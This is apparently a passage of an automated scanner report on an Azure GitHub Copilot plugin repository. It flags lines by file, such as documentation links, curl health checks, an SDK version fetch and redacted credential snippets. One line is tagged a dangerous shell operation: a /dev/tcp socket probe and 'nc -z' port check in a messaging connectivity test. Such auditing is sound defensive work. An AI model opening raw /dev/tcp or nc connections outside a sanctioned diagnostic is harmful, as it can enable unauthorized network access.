    - Prefer managed identity over connection strings - **Always use the latest supported language runtime** — check [supported languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) for the newest GA version. N
  • Network accessline 26
    - **Always use the latest supported language runtime** — check [supported languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) for the newest GA version. Never default to older versions

harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/lambda-to-functions.md

  • Access to secretsline 90
    [Credential-related source omitted]
  • Network accessline 95
    - [AWS Lambda vs Azure Functions comparison](https://aka.ms/AWSLambda)
  • Network accessline 96
    - [AWS to Azure services comparison](https://learn.microsoft.com/en-us/azure/architecture/aws-professional/)
  • Network accessline 97
    - [Supported language runtimes](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages)
  • Network accessline 98
    - [Triggers and bindings overview](https://learn.microsoft.com/en-us/azure/azure-functions/functions-triggers-bindings)
  • Network accessline 99
    - [Functions quickstart JS (azd)](https://github.com/Azure-Samples/functions-quickstart-javascript-azd/tree/main/infra)
  • Network accessline 100
    - [Functions quickstart .NET Event Grid (azd)](https://github.com/Azure-Samples/functions-quickstart-dotnet-azd-eventgrid-blob/tree/main/infra)
  • Network accessline 172
    properties: {         // ARM resolves system key and handles validation at deployment time         endpointUrl: 'https://${functionApp.properties.defaultHostName}/runtime/webhooks/blobs?functionName=${functionName}&code=${listKeys('${functi
  • Network accessline 173
    // ARM resolves system key and handles validation at deployment time         endpointUrl: 'https://${functionApp.properties.defaultHostName}/runtime/webhooks/blobs?functionName=${functionName}&code=${listKeys('${functionApp.id}/host/default
  • Network accessline 174
    endpointUrl: 'https://${functionApp.properties.defaultHostName}/runtime/webhooks/blobs?functionName=${functionName}&code=${listKeys('${functionApp.id}/host/default', '2023-12-01').systemKeys.blobs_extension}'

harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/runtimes/csharp.md

  • Network accessline 225
    > Full reference: [Azure Functions C# isolated worker guide](https://learn.microsoft.com/en-us/azure/azure-functions/dotnet-isolated-process-guide)

harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/runtimes/java.md

  • Network accessline 214
    > Full reference: [Azure Functions Java developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-java)

harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/runtimes/javascript.md

  • Network accessline 325
    > Full reference: [Azure Functions JavaScript developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-node)

harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/runtimes/powershell.md

  • Network accessline 221
    > Full reference: [Azure Functions PowerShell developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-powershell)

harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/runtimes/python.md

  • Access to secretsline 180
    [Credential-related source omitted]
  • Network accessline 199
    > Full reference: [Azure Functions Python developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-python)

harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/runtimes/typescript.md

  • Network accessline 119
    > Full reference: [Azure Functions TypeScript developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-node?tabs=typescript)

harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/SKILL.md

  • Network accessline 79
    - [Automation Scripts](references/services/functions/automation.md) - **Redis**   - [Redis (ACR or ACRE) to AMR Migration](references/services/redis/redis-to-amr.md) — routes to dedicated [amr-migration-skill](https://github.com/AzureManage
  • Network accessline 80
    - **Redis**   - [Redis (ACR or ACRE) to AMR Migration](references/services/redis/redis-to-amr.md) — routes to dedicated [amr-migration-skill](https://github.com/AzureManagedRedis/amr-migration-skill) (ACR/OSS) or [acre-to-amr-migration-skil
  • Network accessline 81
    - [Redis (ACR or ACRE) to AMR Migration](references/services/redis/redis-to-amr.md) — routes to dedicated [amr-migration-skill](https://github.com/AzureManagedRedis/amr-migration-skill) (ACR/OSS) or [acre-to-amr-migration-skill](https://git

harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/INSTRUCTION.md

  • Network accessline 102
    - If azure-sdk-bom is used, ensure the BOM version exactly matches the resolved latest stable version recorded in the plan's `Guidelines` section as `TARGET_AZURE_SDK_BOM_VERSION` and there are **NO** explicit version dependencies for Azure
  • Network accessline 103
    E.g. Instead of `implementation 'com.azure.resourcemanager:azure-resourcemanager:2.60.0'`, we should use `implementation 'com.azure.resourcemanager:azure-resourcemanager'`.   For Azure libraries in azure-sdk-bom, check https://raw.githubuse
  • Network accessline 104
    For Azure libraries in azure-sdk-bom, check https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml.
  • Network accessline 115
    - [Migrate to `com.azure.resourcemanager.**` from `com.microsoft.azure.management.**`](https://aka.ms/java-track2-migration-guide)
  • Network accessline 116
    - [Migrate to com.azure:azure-messaging-servicebus from com.microsoft.azure:azure-servicebus](https://aka.ms/azsdk/java/migrate/sb)
  • Network accessline 117
    - [Migrate to azure-messaging-eventhubs from azure-eventhubs and azure-eventhubs-eph](https://aka.ms/azsdk/java/migrate/eh)
  • Network accessline 118
    - [Migrate to `azure-messaging-eventgrid` from `microsoft-azure-eventgrid`](https://aka.ms/azsdk/java/migrate/eg)
  • Network accessline 119
    - [Storage Blob Service SDK Migration Guide from 8.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-blob/migrationGuides/V8_V12.md)
  • Network accessline 120
    - [Storage Blob Service SDK Migration Guide from 10.x/11.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-blob/migrationGuides/V10_V12.md)
  • Network accessline 121
    - [Storage Queue Service SDK Migration Guide from 8.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-queue/migrationGuides/V8_V12.md)
  • Network accessline 122
    - [Storage File Share Service SDK Migration Guide from 8.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-file-share/migrationGuides/V8_V12.md)
  • Network accessline 123
    - [Migrate to azure-security-keyvault-secrets from azure-keyvault](https://aka.ms/azsdk/java/migrate/kv-secrets)
  • Network accessline 124
    - [Migrate to azure-security-keyvault-keys from azure-keyvault](https://aka.ms/azsdk/java/migrate/kv-keys)
  • Network accessline 125
    - [Migrate to azure-security-keyvault-certificates from azure-keyvault](https://aka.ms/azsdk/java/migrate/kv-cert)
  • Network accessline 126
    - [Migrate to `Azure-Compute-Batch` from `Microsoft-Azure-Batch`](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/batch/azure-compute-batch/MigrationGuide.md)
  • Network accessline 127
    - [Migrate to `azure-ai-documentintelligence` from `azure-ai-formrecognizer`](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/documentintelligence/azure-ai-documentintelligence/MIGRATION_GUIDE.md)
  • Network accessline 128
    - [Migrate to `azure-ai-formrecognizer 4.0.0-beta.1 - above` from `azure-ai-formrecognizer 3.1.x - lower`](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/formrecognizer/azure-ai-formrecognizer/migration-guide.md)
  • Network accessline 129
    - [Migration Guide from Azure OpenAI Java SDK to OpenAI Java SDK](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/openai/azure-ai-openai-stainless/MIGRATION.md)
  • Network accessline 130
    - [Migrate to azure-monitor-query from azure-loganalytics and azure-applicationinsights-query](https://aka.ms/azsdk/java/migrate/monitorquery)

harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/bom-migration/bom-gradle-settings.md

  • Network accessline 3
    Some projects define version catalogs programmatically in `settings.gradle` / `settings.gradle.kts` instead of using a TOML file. OpenRewrite does not support this either ([openrewrite/rewrite#4852](https://github.com/openrewrite/rewrite/is

harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/bom-migration/bom-gradle-toml.md

  • Network accessline 3
    OpenRewrite does not yet support TOML version catalogs ([openrewrite/rewrite#4400](https://github.com/openrewrite/rewrite/issues/4400)). Handle manually.

harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/bom-migration/bom-gradle.md

  • Network accessline 24
    Under the hood (OpenRewrite recipes): - **Add BOM**: `AddPlatformDependency` ([docs](https://docs.openrewrite.org/recipes/gradle/addplatformdependency))
  • Network accessline 25
    - **Add BOM**: `AddPlatformDependency` ([docs](https://docs.openrewrite.org/recipes/gradle/addplatformdependency))
  • Network accessline 26
    - **Upgrade BOM**: `UpgradeDependencyVersion` ([docs](https://docs.openrewrite.org/recipes/gradle/upgradedependencyversion))
  • Network accessline 27
    - **Remove redundant versions**: `RemoveRedundantDependencyVersions` ([docs](https://docs.openrewrite.org/recipes/gradle/removeredundantdependencyversions))
  • Network accessline 84
    For every Azure dependency whose group starts with `com.azure` and is managed by the BOM (verify against `https://repo1.maven.org/maven2/com/azure/azure-sdk-bom/{bom_version}/azure-sdk-bom-{bom_version}.pom`), strip the version coordinate.

harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/bom-migration/bom-maven.md

  • Network accessline 24
    Under the hood (OpenRewrite recipes): - **Add BOM**: `AddManagedDependency` ([docs](https://docs.openrewrite.org/recipes/maven/addmanageddependency))
  • Network accessline 25
    - **Add BOM**: `AddManagedDependency` ([docs](https://docs.openrewrite.org/recipes/maven/addmanageddependency))
  • Network accessline 26
    - **Upgrade BOM**: `UpgradeDependencyVersion` ([docs](https://docs.openrewrite.org/recipes/maven/upgradedependencyversion))
  • Network accessline 27
    - **Remove redundant versions**: `RemoveRedundantDependencyVersions` ([docs](https://docs.openrewrite.org/recipes/maven/removeredundantdependencyversions))
  • Network accessline 85
    For every `<dependency>` whose `<groupId>` starts with `com.azure` (e.g. `com.azure`, `com.azure.resourcemanager`, `com.azure.spring`), check whether the BOM manages it (see the BOM POM at `https://repo1.maven.org/maven2/com/azure/azure-sdk

harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/bom-migration/bom-migration.md

  • Network accessline 39
    If Python is not available or the `--get-latest-version` command fails, fetch `https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml` directly and use the `<version>` value declared in that BOM `pom.
  • Network accessline 57
    > 💡 **Tip:** To check which artifacts are managed by the BOM, fetch > `https://repo1.maven.org/maven2/com/azure/azure-sdk-bom/{bom_version}/azure-sdk-bom-{bom_version}.pom`
  • Network accessline 58
    > `https://repo1.maven.org/maven2/com/azure/azure-sdk-bom/{bom_version}/azure-sdk-bom-{bom_version}.pom`

harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/package-specific/com.microsoft.azure.eventprocessorhost.md

  • Network accessline 16
    Replace usage of `InMemoryCheckpointManager` / `InMemoryLeaseManager` with [BlobCheckpointStore](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhubs/azure-messaging-eventhubs-checkpointstore-blob/src/main/java/com/azure/mess

harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/package-specific/com.microsoft.azure.management.md

  • Access to secretsline 61
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/scripts/upgrade_bom.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 43
    GROUP_ID = "com.azure" ARTIFACT_ID = "azure-sdk-bom" BOM_POM_URL = "https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml"
  • Network accessline 44
    ARTIFACT_ID = "azure-sdk-bom" BOM_POM_URL = "https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml" POM_NAMESPACE = {"m": "http://maven.apache.org/POM/4.0.0"}
  • Network accessline 45
    BOM_POM_URL = "https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml"
  • Network accessline 46
    POM_NAMESPACE = {"m": "http://maven.apache.org/POM/4.0.0"}
  • Network accessline 80
    def _get_latest_bom_version() -> str:     try:         with urllib.request.urlopen(BOM_POM_URL, timeout=HTTP_TIMEOUT_SECONDS) as response:
  • Network accessline 81
    try:         with urllib.request.urlopen(BOM_POM_URL, timeout=HTTP_TIMEOUT_SECONDS) as response:             pom_xml = response.read()
  • Network accessline 82
    with urllib.request.urlopen(BOM_POM_URL, timeout=HTTP_TIMEOUT_SECONDS) as response:
  • Network accessline 167
    except ET.ParseError:         return False     ns = {"m": "http://maven.apache.org/POM/4.0.0"}
  • Network accessline 168
    return False     ns = {"m": "http://maven.apache.org/POM/4.0.0"}     for dep in tree.findall(".//m:dependencyManagement/m:dependencies/m:dependency", ns):
  • Network accessline 169
    ns = {"m": "http://maven.apache.org/POM/4.0.0"}

harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/templates/PLAN_TEMPLATE.md

  • Network accessline 198
    - **Fluent API Changes**      - **Challenge**: Method names and builder patterns differ between legacy and modern Azure Resource Manager.      - **Strategy**: Follow the migration guide at https://aka.ms/java-track2-migration-guide for meth
  • Network accessline 199
    - **Challenge**: Method names and builder patterns differ between legacy and modern Azure Resource Manager.      - **Strategy**: Follow the migration guide at https://aka.ms/java-track2-migration-guide for method-level mappings. -->
  • Network accessline 200
    - **Strategy**: Follow the migration guide at https://aka.ms/java-track2-migration-guide for method-level mappings.

harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/templates/SUMMARY_TEMPLATE.md

  • Network accessline 111
    - **Fluent API Changes**     - **Issue**: Method names differ between legacy Azure.management and modern azure-resourcemanager.     - **Resolution**: Followed migration guide at https://aka.ms/java-track2-migration-guide
  • Network accessline 112
    - **Issue**: Method names differ between legacy Azure.management and modern azure-resourcemanager.     - **Resolution**: Followed migration guide at https://aka.ms/java-track2-migration-guide     - **Files Changed**: ResourceProvisioner.jav
  • Network accessline 113
    - **Resolution**: Followed migration guide at https://aka.ms/java-track2-migration-guide

harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/services/functions/automation.md

  • Network accessline 4
    > All scripts use `bash` syntax compatible with Azure Cloud Shell. For PowerShell, adapt accordingly. > > **Source docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/migrate-plan-consumption-to
  • Network accessline 6
    > **Source docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/migrate-plan-consumption-to-flex?pivots=platform-linux)
  • Network accessline 317
    - [Build and deploy with Azure Pipelines](https://learn.microsoft.com/en-us/azure/azure-functions/functions-how-to-azure-devops)
  • Network accessline 318
    - [Build and deploy with GitHub Actions](https://learn.microsoft.com/en-us/azure/azure-functions/functions-how-to-github-actions)
  • Network accessline 357
    HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$DEFAULT_HOST")
  • Network accessline 374
    # Test an HTTP trigger function curl -s -o /dev/null -w "%{http_code}" "https://$DEFAULT_HOST/api/<FUNCTION_NAME>"
  • Network accessline 375
    curl -s -o /dev/null -w "%{http_code}" "https://$DEFAULT_HOST/api/<FUNCTION_NAME>"

harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/services/functions/consumption-to-flex.md

  • Network accessline 4
    > **Target**: Azure Functions Flex Consumption Plan (FC1/FlexConsumption) > **Platform**: Linux only (Windows support planned for future) > **Docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/
  • Network accessline 6
    > **Docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/migrate-plan-consumption-to-flex?pivots=platform-linux)
  • Network accessline 139
    1. **Smoke test** — Get the app’s default hostname via `az functionapp show --query defaultHostName -o tsv`, then hit that URL and confirm it returns a non-error response (HTTP 2xx/4xx, not connection refused or 503). This is the minimum ba
  • Network accessline 140
    2. Verify the app is running on Flex Consumption (`az functionapp show --query sku`) 3. Test HTTP trigger endpoints (e.g. `curl https://<DEFAULT_HOST>/api/<FUNCTION_NAME>`) 4. Capture and compare performance benchmarks
  • Network accessline 141
    3. Test HTTP trigger endpoints (e.g. `curl https://<DEFAULT_HOST>/api/<FUNCTION_NAME>`)
  • Network accessline 223
    - [Flex Consumption plan overview](https://learn.microsoft.com/en-us/azure/azure-functions/flex-consumption-plan)
  • Network accessline 224
    - [How to use the Flex Consumption plan](https://learn.microsoft.com/en-us/azure/azure-functions/flex-consumption-how-to)
  • Network accessline 225
    - [Azure CLI flex-migration commands](https://learn.microsoft.com/en-us/cli/azure/functionapp/flex-migration) (Linux only)
  • Network accessline 226
    - [Flex Consumption IaC samples](https://github.com/Azure-Samples/azure-functions-flex-consumption-samples/tree/main/IaC)
  • Network accessline 227
    - [Flex Consumption plan deprecations](https://learn.microsoft.com/en-us/azure/azure-functions/functions-app-settings#flex-consumption-plan-deprecations)

harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/services/redis/redis-to-amr.md

  • Network accessline 10
    | Source SKU | ARM Resource Type | CLI / PowerShell | Dedicated Skill | Repo | |---|---|---|---|---| | **ACR / OSS Redis** — Basic, Standard, Premium (C0–C6, P1–P5) | `Microsoft.Cache/redis` | `az redis`, `*-AzRedisCache` | `amr-migration-s
  • Network accessline 11
    |---|---|---|---|---| | **ACR / OSS Redis** — Basic, Standard, Premium (C0–C6, P1–P5) | `Microsoft.Cache/redis` | `az redis`, `*-AzRedisCache` | `amr-migration-skill` | https://github.com/AzureManagedRedis/amr-migration-skill | | **ACRE** —
  • Network accessline 12
    | **ACR / OSS Redis** — Basic, Standard, Premium (C0–C6, P1–P5) | `Microsoft.Cache/redis` | `az redis`, `*-AzRedisCache` | `amr-migration-skill` | https://github.com/AzureManagedRedis/amr-migration-skill |
  • Network accessline 13
    | **ACRE** — Enterprise (`Enterprise_E*`), Enterprise Flash (`EnterpriseFlash_F*`) | `Microsoft.Cache/redisEnterprise` | `az redisenterprise`, `*-AzRedisEnterprise*` | `acre-to-amr-migration-skill` | https://github.com/AzureManagedRedis/acr
  • Network accessline 48
    - IaC template migration for ARM, Bicep, and Terraform with worked before/after examples - Feature comparison and retirement FAQ - **Retirement deadlines this skill addresses**: ACR Basic/Standard/Premium tiers are being retired — for the c
  • Network accessline 50
    - **Retirement deadlines this skill addresses**: ACR Basic/Standard/Premium tiers are being retired — for the current retirement and creation-block dates, see the [official ACR retirement announcement](https://learn.microsoft.com/en-us/azur
  • Network accessline 60
    - Reusable polling scripts (`Poll-MigrationStatus.ps1`, `poll-migration-status.sh`) - Post-migration ACRE resource cleanup - **Retirement deadline this skill addresses**: ACRE / Enterprise Flash are being retired — for the current retiremen
  • Network accessline 62
    - **Retirement deadline this skill addresses**: ACRE / Enterprise Flash are being retired — for the current retirement date, see the [official ACR retirement announcement](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-
  • Network accessline 98
    - AMR Migration Skill (ACR → AMR): https://github.com/AzureManagedRedis/amr-migration-skill
  • Network accessline 99
    - ACRE → AMR Migration Skill: https://github.com/AzureManagedRedis/acre-to-amr-migration-skill
  • Network accessline 100
    - Azure Managed Redis docs: https://learn.microsoft.com/en-us/azure/redis/managed-redis/
  • Network accessline 101
    - ACR retirement announcement: https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-retired-tiers
  • Network accessline 102
    - Entra ID auth for AMR: https://learn.microsoft.com/en-us/azure/redis/managed-redis/managed-redis-entra-for-access-control-configuration

harness/github-copilot/plugins/azure-observability-operations/skills/appinsights-instrumentation/references/AUTO.md

  • Network accessline 3
    Use Azure Portal to auto-instrument a webapp hosted in Azure App Service for App Insights without making any code changes. Only the following types of app can be auto-instrumented. See [supported environments and resource providers](https:/
  • Network accessline 10
    https://portal.azure.com/#resource/subscriptions/{subscription_id}/resourceGroups/{resource_group_name}/providers/Microsoft.Web/sites/{app_service_name}/monitoringSettings

harness/github-copilot/plugins/azure-observability-operations/skills/appinsights-instrumentation/scripts/appinsights.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/azure-observability-operations/skills/azure-cost/cost-forecast/error-handling.md

  • Network accessline 11
    | 424 | Failed Dependency | Bad training data — forecast model cannot compute predictions | Falls back to actual costs if `includeActualCost=true`; otherwise suggest using **the Cost Query workflow (Part 1)** for historical data | | 429 | T
  • Network accessline 13
    | 503 | Service Unavailable | Temporary service issue | Check [Azure Status](https://status.azure.com) for service health. |
  • Network accessline 44
    | 404 | ❌ No | Fix the scope URL — verify subscription, resource group, or billing account IDs | | 424 | ❌ No | Training data issue — retrying will not help. Fall back to actual costs or use **the Cost Query workflow (Part 1)** | | 503 | ❌ 
  • Network accessline 46
    | 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service health. |

harness/github-copilot/plugins/azure-observability-operations/skills/azure-cost/cost-forecast/workflow.md

  • Network accessline 117
    | 424 | Bad training data | Insufficient history; falls back to actual costs if available. | | 429 | Rate limited | Check all `x-ms-ratelimit-microsoft.costmanagement-*-retry-after` headers (`qpu`, `entity`, `tenant`). Wait for the **longes
  • Network accessline 119
    | 503 | Service unavailable | Check [Azure Status](https://status.azure.com). |

harness/github-copilot/plugins/azure-observability-operations/skills/azure-cost/cost-optimization/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/github-copilot/plugins/azure-observability-operations/skills/azure-cost/cost-optimization/azure-aks-anomalies.md

  • Network accessline 12
    az rest --method post \   --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.CostManagement/query?api-version=2023-11-01" \
  • Network accessline 13
    --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.CostManagement/query?api-version=2023-11-01" \

harness/github-copilot/plugins/azure-observability-operations/skills/azure-cost/cost-optimization/report-template.md

  • Network accessline 56
    https://portal.azure.com/#@<TENANT_ID>/resource/subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/<RESOURCE_PROVIDER>/<RESOURCE_TYPE>/<RESOURCE_NAME>/overview

harness/github-copilot/plugins/azure-observability-operations/skills/azure-cost/cost-optimization/services/storage/azure-storage.md

  • Network accessline 185
    Always validate from [official pricing](https://azure.microsoft.com/pricing/details/storage/blobs/).

harness/github-copilot/plugins/azure-observability-operations/skills/azure-cost/cost-optimization/workflow.md

  • Network accessline 168
    **Key services to validate:** - Container Apps: https://azure.microsoft.com/pricing/details/container-apps/
  • Network accessline 169
    - Container Apps: https://azure.microsoft.com/pricing/details/container-apps/
  • Network accessline 170
    - Virtual Machines: https://azure.microsoft.com/pricing/details/virtual-machines/
  • Network accessline 171
    - App Service: https://azure.microsoft.com/pricing/details/app-service/
  • Network accessline 172
    - Log Analytics: https://azure.microsoft.com/pricing/details/monitor/

harness/github-copilot/plugins/azure-observability-operations/skills/azure-cost/cost-query/error-handling.md

  • Network accessline 12
    | 404 | `NotFound` | Scope does not exist, subscription not found, or resource group does not exist. | Verify the scope URL. Confirm the subscription ID and resource group name are correct. | | 429 | `TooManyRequests` | Rate limit exceeded.
  • Network accessline 14
    | 503 | `ServiceUnavailable` | Cost Management service is temporarily unavailable. | Check [Azure Status](https://status.azure.com) for service health. |
  • Network accessline 37
    | 403 | ❌ No | Fix permissions. Request appropriate RBAC role assignment on the scope. | | 404 | ❌ No | Fix the scope URL. Verify resource exists. | | 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service hea
  • Network accessline 38
    | 404 | ❌ No | Fix the scope URL. Verify resource exists. | | 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service health. | | 5xx (other) | ❌ No | Do not retry. Investigate the error and check service healt
  • Network accessline 39
    | 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service health. |

harness/github-copilot/plugins/azure-observability-operations/skills/azure-cost/cost-query/request-body-schema.md

  • Network accessline 3
    Schema for the [Cost Management Query API](https://learn.microsoft.com/en-us/rest/api/cost-management/query/usage).

harness/github-copilot/plugins/azure-observability-operations/skills/azure-cost/cost-query/workflow.md

  • Network accessline 137
    | 404 | Scope not found | Verify scope URL and resource IDs. | | 429 | Too many requests | Check all `x-ms-ratelimit-microsoft.costmanagement-*-retry-after` headers (`qpu`, `entity`, `tenant`). Wait for the **longest** value. **Max 3 retrie
  • Network accessline 139
    | 503 | Service unavailable | Check [Azure Status](https://status.azure.com). |

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/references/app-service/README.md

  • Network accessline 6
    |---------|--------------|-----------| | High CPU / memory | Runaway process, inefficient code | Use Process Explorer via Kudu, scale up | | Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewe
  • Network accessline 7
    | High CPU / memory | Runaway process, inefficient code | Use Process Explorer via Kudu, scale up | | Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewebsites.net/api/deployments` to look for
  • Network accessline 8
    | Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewebsites.net/api/deployments` to look for details on build errors, locked files or lack of storage quota |
  • Network accessline 30
    **Fix:** Scale up (`az appservice plan update -n <app-service-plan-name> -g <resource-group> --sku P1V3`) or profile the app via Kudu Process Explorer at `https://APP.scm.azurewebsites.net/ProcessExplorer/` to identify hot paths.
  • Network accessline 96
    # Test the endpoint directly curl -s -o /dev/null -w "%{http_code}" https://APP.azurewebsites.net/health
  • Network accessline 97
    curl -s -o /dev/null -w "%{http_code}" https://APP.azurewebsites.net/health

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/references/container-apps/README.md

  • Network accessline 61
    # Check if /health endpoint responds curl https://APP.REGION.azurecontainerapps.io/health
  • Network accessline 62
    curl https://APP.REGION.azurecontainerapps.io/health

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/references/kql-queries.md

  • Network accessline 64
    - [KQL Quick Reference](https://learn.microsoft.com/azure/data-explorer/kql-quick-reference)
  • Network accessline 65
    - [Application Insights Queries](https://learn.microsoft.com/azure/azure-monitor/logs/queries)

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/aks-baseline.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/aks-baseline.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/appservice-diagnostics.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/appservice-diagnostics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/containerapp-diagnostics.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/containerapp-diagnostics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/pod-evidence.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/pod-evidence.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/run-ig.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/run-ig.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/test-messaging-connectivity.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 89
    function Get-HttpsResult {     try {         $resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 `
  • Network accessline 90
    try {         $resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 `             -UseBasicParsing -ErrorAction Stop
  • Network accessline 91
    $resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 `

harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/test-messaging-connectivity.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 99
    probe_tcp() {     local host="$1" port="$2"     if command -v nc >/dev/null 2>&1; then
  • Network accessline 100
    local host="$1" port="$2"     if command -v nc >/dev/null 2>&1; then         if nc -z -w 5 "$host" "$port" >/dev/null 2>&1; then
  • Network accessline 101
    if command -v nc >/dev/null 2>&1; then
  • Network accessline 102
    if nc -z -w 5 "$host" "$port" >/dev/null 2>&1; then
  • Dangerous shell operationline 108
    ( exec 3<>"/dev/tcp/$host/$port" ) >/dev/null 2>&1 &
  • Network accessline 108
